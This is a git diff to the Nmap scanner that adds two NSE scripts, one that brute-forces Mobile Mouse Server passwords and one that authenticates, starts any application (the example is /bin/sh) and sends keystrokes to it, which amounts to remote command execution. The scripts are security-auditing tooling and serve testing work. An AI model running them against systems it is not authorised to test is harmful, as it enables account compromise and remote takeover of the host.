diff --git a/CHANGELOG b/CHANGELOG index 60acc4339..58e81fb10 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,5 +1,12 @@ # Nmap Changelog ($Id$); -*-text-*- +o [NSE] Added the script mmouse-exec that connects to a Mobile Mouse server, + starts an application, and sends a sequence of keystrokes to it. [Patrik + Karlsson] + +o [NSE] Added the script mmouse-brute that performs brute force password + auditing against the Mobile Mouse service. [Patrik Karlsson] + o [NSE] Added the script cups-queue-info that lists the contents of a remote CUPS printer queue. [Patrik Karlsson] diff --git a/nmap-service-probes b/nmap-service-probes index 0dfce7b8f..fdcd73db2 100644 --- a/nmap-service-probes +++ b/nmap-service-probes @@ -8338,6 +8338,8 @@ match printer m|^Invalid protocol request \(71\): GGET / HTTP/1\.0\r\n\n$| p/Sun match zftp-admin m|^220 \.\r\n500 ' / HTTP/1\.0': command not understood\.\r\n| p/zFTPServer ftpd admin/ +match mmouse m|^HTTP/1\.0\x20200\x20OK\x20\n\x20Server:\x20Mobile\x20Air\x20Mouse\x20Server\x20\n\x20Content-Type:\x20text/html\x20\n\x20Content-Length:\x20344\n\nSuccess!

The\x20Mobile\x20Air\x20Mouse\x20server\x20running\x20on\x20\"([^\"]*)\"\x20was\x20able\x20to\x20receive\x20your\x20request\.

$| i/server name: $1/ + # Know the device, but not the service. Port 515. # match unknown m|^\x02| p/Conceptronics CPSERVU print server/ d/print server/ diff --git a/scripts/mmouse-brute.nse b/scripts/mmouse-brute.nse new file mode 100644 index 000000000..4c89475f6 --- /dev/null +++ b/scripts/mmouse-brute.nse @@ -0,0 +1,109 @@ +description = [[ +Performs brute force password auditing against the RPA Tech Mobile Mouse +Server. +]] + +--- +-- @usage +-- nmap --script mobilemouse-brute -p 51010 +-- +-- @output +-- PORT STATE SERVICE +-- 51010/tcp open unknown +-- | mmouse-brute: +-- | Accounts +-- | vanilla - Valid credentials +-- | Statistics +-- |_ Performed 1199 guesses in 23 seconds, average tps: 47 +-- + +author = "Patrik Karlsson" +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"intrusive", "brute"} + +local shortport = require('shortport') +local brute = require('brute') + +local arg_timeout = stdnse.get_script_args(SCRIPT_NAME .. ".timeout") or 5000 + +portrule = shortport.port_or_service(51010, "mmouse", "tcp") + +Driver = { + + new = function(self, host, port) + local o = { host = host, port = port } + setmetatable(o, self) + self.__index = self + return o + end, + + connect = function( self ) + self.socket = nmap.new_socket() + self.socket:set_timeout(arg_timeout) + return self.socket:connect(self.host, self.port) + end, + + login = function( self, username, password ) + local devid = "0123456789abcdef0123456789abcdef0123456" + local devname = "Lord Vaders iPad" + local suffix = "2".."\30".."2".."\04" + local auth = ("CONNECT\30%s\30%s\30%s\30%s"):format(password, devid, devname, suffix) + + local status = self.socket:send(auth) + if ( not(status) ) then + local err = brute.Error:new( "Failed to send data to server" ) + err:setRetry( true ) + return false, err + end + + local status, data = self.socket:receive_buf("\04", true) + + if (data:match("^CONNECTED\30([^\30]*)") == "NO" ) then + return false, brute.Error:new( "Incorrect password" ) + elseif ( data:match("^CONNECTED\30([^\30]*)") == "YES" ) then + return true, brute.Account:new("", password, creds.State.VALID) + end + + local err = brute.Error:new("An unexpected error occured, retrying ...") + err:setRetry(true) + return false, err + end, + + disconnect = function(self) + self.socket:close() + end, + +} + +local function hasPassword(host, port) + local driver = Driver:new(host, port) + if ( not(driver:connect()) ) then + error("Failed to connect to server") + end + local status = driver:login(nil, "nmap") + driver:disconnect() + + return not(status) +end + + +action = function(host, port) + + if ( not(hasPassword(host, port)) ) then + return "\n Server has no password" + end + + local status, result + local engine = brute.Engine:new(Driver, host, port ) + + engine.options.script_name = SCRIPT_NAME + engine.options.firstonly = true + engine.options:setOption( "passonly", true ) + + -- mouse server does not behave well when multiple threads are guessing + engine:setMaxThreads(1) + + status, result = engine:start() + + return result +end \ No newline at end of file diff --git a/scripts/mmouse-exec.nse b/scripts/mmouse-exec.nse new file mode 100644 index 000000000..ca2e7330f --- /dev/null +++ b/scripts/mmouse-exec.nse @@ -0,0 +1,168 @@ +description = [[ +Connects to the mobile mouse server, starts an application and sends a sequence +of keys to it. Any application that the user has access to can be started and +the key sequence is sent to the application after it has been started. +]] + +--- +-- @usage +-- nmap -p 51010 --script mmouse-exec \ +-- --script-args application='/bin/sh',keys='ping -c 5 127.0.0.1' +-- +-- @output +-- PORT STATE SERVICE REASON +-- 51010/tcp open unknown syn-ack +-- | mmouse-exec: +-- |_ Attempted to start application "/bin/sh" and sent "ping -c 5 127.0.0.1" +-- +-- @args mmouse-exec.password The password needed to connect to the mobile +-- mouse server +-- @args mmouse-exec.application The application which is to be started at the +-- server +-- @args mmouse-exec.keys The key sequence to send to the started application +-- @args mmouse-exec.delay Delay in seconds to wait before sending the key +-- sequence. (default: 3 seconds) +-- + +author = "Patrik Karlsson" +categories = {"intrusive"} +dependencies = {"mmouse-brute"} + +local shortport = require('shortport') +local creds = require('creds') + +local arg_password = stdnse.get_script_args(SCRIPT_NAME .. '.password') +local arg_app = stdnse.get_script_args(SCRIPT_NAME .. '.application') +local arg_keys = stdnse.get_script_args(SCRIPT_NAME .. '.keys') +local arg_delay = stdnse.get_script_args(SCRIPT_NAME .. '.delay') or 3 + +portrule = shortport.port_or_service(51010, "mmouse", "tcp") + +local function receiveData(socket, cmd) + local status, data = "" + repeat + status, data = socket:receive_buf("\04", true) + if ( not(status) ) then + return false, "Failed to receive data from server" + end + until( cmd == nil or data:match("^" .. cmd) ) + return true, data +end + +local function authenticate(socket, password) + local devid = "0123456789abcdef0123456789abcdef0123456" + local devname = "Lord Vaders iPad" + local suffix = "2".."\30".."2".."\04" + local auth = ("CONNECT\30%s\30%s\30%s\30%s"):format(password, devid, devname, suffix) + + local status = socket:send(auth) + if ( not(status) ) then + return false, "Failed to send data to server" + end + + local status, data = receiveData(socket) + if ( not(status) ) then + return false, "Failed to receive data from server" + end + + local success, os = data:match("^CONNECTED\30([^\30]*)\30([^\30]*)") + + if ( success == "YES" ) then + if ( os ~= 'MAC' ) then + return false, "Non MAC platform detected, script has only been tested on MAC" + end + if ( not(socket:send("SETOPTION\30PRESENTATION\30".."1\04")) ) then + return false, "Failed to send request to server" + end + if ( not(socket:send("SETOPTION\30CLIPBOARDSYNC\30".."1\04")) ) then + return false, "Failed to send request to server" + end + return true + end + return false, "Authentication failed" +end + +local function processSwitchMode(socket, swmode) + local m, o, a1, a2, p = swmode:match("^(.-)\30(.-)\30(.-)\30(.-)\30(.-)\04$") + if ( m ~= "SWITCHMODE") then + print("lklklk", m, o) + return false, "Failed to parse SWITCHMODE" + end + + local str = ("SWITCHED\30%s\30%s\30%s\04"):format(o, a1, a2) + local status = socket:send(str) + if ( not(status) ) then + return false, "Failed to send data to server" + end + return true +end + +local function executeCmd(socket, app, keys) + local exec = ("SENDPROGRAMACTION\30RUN\30%s\04"):format(app) + local status = socket:send(exec) + if ( not(status) ) then + return false, "Failed to send data to server" + end + + local status, data = receiveData(socket) + if ( not(status) ) then + return false, "Failed to receive data from server" + end + + if ( arg_delay ) then + stdnse.sleep(tonumber(arg_delay)) + end + + if ( keys ) then + local cmd = ("KEYSTRING\30%s\n\04"):format(keys) + if ( not(socket:send(cmd)) ) then + return false, "Failed to send data to the server" + end + end + return true +end + +local function fail(err) return ("\n ERROR: %s"):format(err or "") end + +action = function(host, port) + + local c = creds.Credentials:new(creds.ALL_DATA, host, port) + local credentials = c:getCredentials(creds.State.VALID + creds.State.PARAM)() + local password = arg_password or (credentials and credentials.pass) or "" + + if ( not(arg_app) ) then + return fail(("No application was specified (see %s.application)"):format(SCRIPT_NAME)) + end + + if ( not(arg_keys) ) then + return fail(("No keys were specified (see %s.keys)"):format(SCRIPT_NAME)) + end + + local socket = nmap.new_socket() + socket:set_timeout(10000) + local status, err = socket:connect(host, port) + if ( not(status) ) then + return fail("Failed to connect to server") + end + + status, err = authenticate(socket, password) + if ( not(status) ) then + return fail(err) + end + + local data + status, data = receiveData(socket, "SWITCHMODE") + if ( not(status) ) then + return fail("Failed to receive expected response from server") + end + + if ( not(processSwitchMode(socket, data)) ) then + return fail("Failed to process SWITCHMODE command") + end + + if ( not(executeCmd(socket, arg_app, arg_keys)) ) then + return fail("Failed to execute application") + end + + return ("\n Attempted to start application \"%s\" and sent \"%s\""):format(arg_app, arg_keys) +end \ No newline at end of file diff --git a/scripts/script.db b/scripts/script.db index 337492164..c9df20254 100644 --- a/scripts/script.db +++ b/scripts/script.db @@ -202,6 +202,8 @@ Entry { filename = "membase-brute.nse", categories = { "brute", "intrusive", } } Entry { filename = "membase-http-info.nse", categories = { "discovery", "safe", } } Entry { filename = "memcached-info.nse", categories = { "discovery", "safe", } } Entry { filename = "metasploit-xmlrpc-brute.nse", categories = { "brute", "intrusive", } } +Entry { filename = "mmouse-brute.nse", categories = { "brute", "intrusive", } } +Entry { filename = "mmouse-exec.nse", categories = { "intrusive", } } Entry { filename = "modbus-discover.nse", categories = { "discovery", "intrusive", } } Entry { filename = "mongodb-brute.nse", categories = { "brute", "intrusive", } } Entry { filename = "mongodb-databases.nse", categories = { "default", "discovery", "safe", } }